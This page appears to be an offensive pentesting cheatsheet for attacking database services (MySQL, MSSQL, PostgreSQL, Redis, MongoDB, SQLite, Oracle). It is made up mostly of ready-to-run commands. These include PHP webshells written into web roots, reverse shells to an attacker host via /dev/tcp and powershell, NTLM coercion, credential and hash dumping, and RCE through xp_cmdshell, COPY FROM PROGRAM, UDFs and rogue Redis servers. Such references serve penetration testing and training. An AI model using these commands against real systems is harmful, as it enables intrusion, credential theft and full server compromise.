← Cheatsheets Databases Every engine enumerates and exploits differently: MySQL/MariaDB, MSSQL, PostgreSQL, Redis and SQLite each have their own syntax, paths to RCE and tricks. One sheet per engine.
MySQL / MariaDB · 3306 20 commands Copy all
Connect / enumerate Version, passwordless accounts and users nmap -p3306 -sCV --script mysql-info,mysql-empty-password,mysql-users <ip>Connect with obtained credentials mysql -h <ip> -u <user> -p'<pass>'Recent MariaDB: avoid the TLS error when connecting mysql -h <ip> -u root -p --skip-sslCheck if local file read/write is allowed SELECT @@secure_file_privSchema Walk databases, tables and columns SHOW DATABASES; USE <db>; SHOW TABLES; DESCRIBE <tabla>;List all databases SELECT schema_name FROM information_schema.schemataList the tables of a given database SELECT table_name FROM information_schema.tables WHERE table_schema='<db>'List a table's columns SELECT column_name FROM information_schema.columns WHERE table_name='<table>'Dump all databases to a file to review offline mysqldump -h <ip> -u <user> -p'<pass>' --all-databases > dump.sqlUsers / hashes Dump the MySQL account hashes SELECT user,authentication_string FROM mysql.user;Show the current user's privileges SHOW GRANTSDump the MySQL account hashes SELECT user, authentication_string FROM mysql.userRead/write files Arbitrary file read (FILE privilege) SELECT LOAD_FILE('/etc/passwd');RCE writing a webshell (FILE + writable path) SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php';Write a webshell into the docroot SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/sh.php'RCE RCE via UDF (lib_mysqludf_sys) once the library is loaded SELECT sys_exec('id'); SELECT sys_eval('id');Compile the UDF (raptor_udf2) for do_system gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.c -lcRegister the UDF and run as the MySQL user (often root) CREATE FUNCTION sys_exec RETURNING INT SONAME 'raptor_udf2.so'; SELECT sys_exec('chmod +s /bin/bash');Escape to a shell from the mysql client (\!) mysql> \! /bin/shRogue server Rogue MySQL server: steal client files (LOAD DATA LOCAL) python3 -m mysqld_mock <lhost> # rogue MySQL for LOAD DATA LOCALMS SQL Server · 1433 27 commands Copy all
Connect Instance, version and NTLM info (hostname/domain) nmap -p1433 -sCV --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password <ip>Login with Windows authentication impacket-mssqlclient '<domain>/<user>:<pass>@<ip>' -windows-authAlternative MSSQL client from Linux (handy if mssqlclient fails) sqsh -S <ip> -U '<user>' -P '<pass>' # or -U '.\<user>' for local authLogin with Kerberos (after exporting KRB5CCNAME) impacket-mssqlclient -k <host>.<domain>Connect with Windows authentication (impacket) mssqlclient.py <user>@<ip> -windows-authConnect from Windows with sqlcmd sqlcmd -S <host>\<instance> -U <user> -P '<pass>'Enumerate Enumerate databases and read tables SELECT name FROM sys.databases; SELECT * FROM <db>.dbo.<tabla>;Read files Read local server files with OPENROWSET (BULK) SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS x;OPENROWSET/BULK: read files from the database host SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS xRead a local file on the server SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS xxp_cmdshell (RCE) Enable xp_cmdshell (if you are sysadmin) EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;Operating-system command execution EXEC xp_cmdshell 'whoami';Enable the server's advanced options EXECUTE sp_configure 'show advanced options', 1; RECONFIGUREEnable xp_cmdshell to run commands EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGUREReverse shell from MSSQL as the service account EXEC xp_cmdshell 'powershell -e <base64>'Enable xp_cmdshell with impacket client's built-in command impacket-mssqlclient '<domain>/<user>:<pass>@<ip>' -windows-auth # then: enable_xp_cmdshellLinked servers Pivot to a linked server SELECT * FROM OPENQUERY(<servidor_enlazado>, 'SELECT ...'); EXEC ('sp_configure...') AT [<servidor_enlazado>];Enumerate linked servers to hop to another instance EXEC sp_linkedservers | SELECT * FROM sys.serversRun commands on the linked server via AT (RPC out) EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE;EXEC xp_cmdshell ''whoami'';') AT [<servidor_enlazado>]impacket mssqlclient: enumerate and hop through linked servers interactively mssqlclient.py '<domain>/<user>:<pass>'@<ip> -windows-auth -> enum_links / use_linkIdentify linked servers SELECT srvname, isremote FROM sysserversExecute on a linked server (trust hop) EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT [<linked>]NTLM coercion Coerce the service's NTLM auth via xp_subdirs too EXEC master..xp_subdirs '\\<lhost>\share';Coerce the service's NTLM auth (capture/relay with responder) EXEC master..xp_dirtree '\\<lhost>\share';NTLM coercion: force the MSSQL service to authenticate to you EXEC master..xp_dirtree '\\<lhost>\share' (captura NTLMv2 con responder)Impersonation Impersonate a higher-privileged login (IMPERSONATE) EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;Impersonate a login (IMPERSONATE): escalate to sa to enable xp_cmdshell EXECUTE AS LOGIN='sa'; SELECT SYSTEM_USER;PostgreSQL · 5432 15 commands Copy all
Connect / enumerate Version and default-credentials check nmap -p5432 -sCV --script pgsql-brute <ip>Connect (try the postgres:postgres pair) psql -h <ip> -U postgres -d postgres # postgres:postgresConnect via a connection URI psql 'postgresql://<user>:<pass>@<ip>:5432/<db>'Meta-commands: databases, tables, roles and data \l \c <db> \dt \du SELECT * FROM users;Engine version and session user SELECT version(); SELECT current_user, session_user;Users / hashes See which roles are superuser (enables RCE) SELECT usename, usesuper FROM pg_user;Dump role hashes (as superuser) SELECT usename, passwd FROM pg_shadow;Crack the PostgreSQL MD5 hashes hashcat -m 12 pg.hash <rockyou.txt> # 'md5<...>' PostgreSQL hashesRead files Arbitrary server file read SELECT pg_read_file('/etc/passwd', 0, 1000000);Large objects: read server files into a table SELECT lo_import('/etc/passwd', 1234); SELECT lo_get(1234);List the contents of a directory on the server SELECT pg_ls_dir('/var/lib/postgresql');RCE RCE via COPY FROM PROGRAM (superuser) CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;Direct reverse shell via COPY FROM PROGRAM COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"';Write files Write a webshell into the docroot (if writable) COPY (SELECT '<?php system($_GET[0]);?>') TO '/var/www/html/s.php';dblink dblink: pivot to other databases or force internal connections CREATE EXTENSION dblink; SELECT dblink_connect('host=127.0.0.1 ...');Redis · 6379 13 commands Copy all
Enumerate Check unauthenticated access and server info redis-cli -h <ip> ping; redis-cli -h <ip> info # unauth check + server infoConnect with a password and read the config redis-cli -h <ip> -a <pass> infoCheck whether the server requires a password redis-cli -h <ip> CONFIG GET requirepassWorking directory and stored keys redis-cli -h <ip> CONFIG GET dir; redis-cli -h <ip> KEYS '*'Iterate and read values (sometimes credentials/tokens) redis-cli -h <ip> --scan; redis-cli -h <ip> GET <key>Check the ACL user and permissions (Redis 6+) redis-cli -h <ip> ACL WHOAMI; redis-cli -h <ip> ACL LISTWebshell / SSH Write a webshell if it controls a web directory CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET x '<?php system($_GET[0]);?>'; SAVEWrite an SSH key into authorized_keys CONFIG SET dir /root/.ssh; CONFIG SET dbfilename authorized_keys; SET x '\n\n<ssh_pubkey>\n\n'; SAVERCE by writing a cron job if the cron dir is writable CONFIG SET dir /var/spool/cron; CONFIG SET dbfilename root; SET x '\n\n* * * * * bash -i >& /dev/tcp/<lhost>/<lport> 0>&1\n\n'; SAVERCE (module/replica) RCE by loading a malicious module (Redis 4/5) redis-cli -h <ip> MODULE LOAD /path/exp.so; redis-cli -h <ip> system.exec 'id'RCE via master-slave replication (redis-rogue-server) redis-cli -h <ip> SLAVEOF <lhost> 6379 # replication with a rogue serverRCE with redis-rogue-server (replication + malicious module) python3 redis-rogue-server.py --rhost <ip> --rport 6379 --lhost <lhost>Redis Lua sandbox escape (CVE-2022-0543) redis-cli -h <ip> eval 'os.execute("id")' 0 # CVE-2022-0543 (Debian/Ubuntu)MongoDB · 27017 8 commands Copy all
Connect / enumerate Service version and databases accessible without auth nmap -p27017 -sV --script mongodb-info,mongodb-databases <ip>Connect without credentials (check anonymous access) mongosh 'mongodb://<ip>:27017' # legacy: mongo <ip>:27017Connect with credentials against the auth database mongosh -u <user> -p '<pass>' --authenticationDatabase admin <ip>:27017Enumerate List databases and collections show dbs; use <db>; show collectionsEnumerate collections and read their documents db.getCollectionNames(); db.<col>.find().pretty()Pull only the credential fields from a collection db.<col>.find({}, {user:1, pass:1, password:1})List every database as an administrator db.adminCommand({listDatabases:1})Users / hashes Dump the stored users and their SCRAM hashes db.system.users.find() # stored SCRAM user hashesSQLite (local .db files) 9 commands Copy all
Identify Confirm a found file is a SQLite database file <file>.db # 'SQLite 3.x database'Files of interest Locate SQLite databases across the filesystem find / \( -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' \) 2>/dev/nullEnumerate List the database tables sqlite3 <file>.db '.tables'Inspect the structure of every table sqlite3 <file>.db '.schema'List tables by querying the master table sqlite3 <file>.db "SELECT name FROM sqlite_master WHERE type='table';"Open the database in a GUI to browse tables sqlitebrowser <file>.db # browse tables in a GUIDump Dump the whole database to SQL to review offline sqlite3 <file>.db '.dump' > dump.sqlDump credentials stored in the database sqlite3 <file>.db 'SELECT username,password FROM users;'Grep strings if the DB is corrupt or partly encrypted strings <file>.db | grep -iE 'pass|hash|token'Oracle TNS · 1521 17 commands Copy all
SID & credentials Brute-force the instance SID nmap -p1521 -sV --script oracle-sid-brute <ip>Guess default credentials (scott/tiger, system...) odat passwordguesser -s <ip> -d <SID>Guess the SID and then default credentials against that SID odat sidguesser -s <ip> -p 1521 | odat passwordguesser -s <ip> -p 1521 -d <SID>Guess the instance SID odat sidguesser -s <ip> -p 1521Oracle: spray default credentials odat passwordguesser -s <ip> -d <sid> --accounts-file accounts/accounts_multiple.txtODAT (all) Full battery of checks against the Oracle service odat all -s <ip>odat: full battery (SID, default accounts, TNS, privesc) in one command odat all -s <ip> -p 1521Full automatic attack against Oracle TNS ./odat.py all -s <ip>Connect (sqlplus) Connect to the Oracle database sqlplus <user>/<pass>@<ip>/<SID> # as sysdba if applicableLog in to the Oracle database sqlplus <user>/<pass>@<ip>/<sid>Oracle: list tables as sysdba sqlplus <user>/<pass>@<ip>/<sid> as sysdba <<< 'SELECT table_name FROM all_tables;'Files (utlfile) Upload a webshell to the server via UTL_FILE (to IIS) odat utlfile -s <ip> -d <SID> -U <user> -P <pass> --sysdba --putFile C:\\inetpub\\wwwroot shell.php ./shell.phpUpload files to the Oracle host with the UTL_FILE package odat utlfile -s <ip> -d <SID> -U <user> -P <pass> --putFile ...Upload a file to the server with utlfile ./odat.py utlfile -s <ip> -d <sid> -U <user> -P <pass> --sysdba --putFile C:\\ shell.exe shell.exeOracle: read a server file via UTL_FILE odat utlfile -s <ip> -d <sid> -U <user> -P <pass> --sysdba --getFile C:\\path file.txt ./out.txtRCE RCE via external tables when the account has enough privileges odat externaltable -s <ip> -d <SID> -U <user> -P <pass> --exec 'whoami'Privileges Enumerate the session roles and privileges (look for DBA / JAVA) SELECT * FROM session_privs; | SELECT * FROM user_role_privs;No results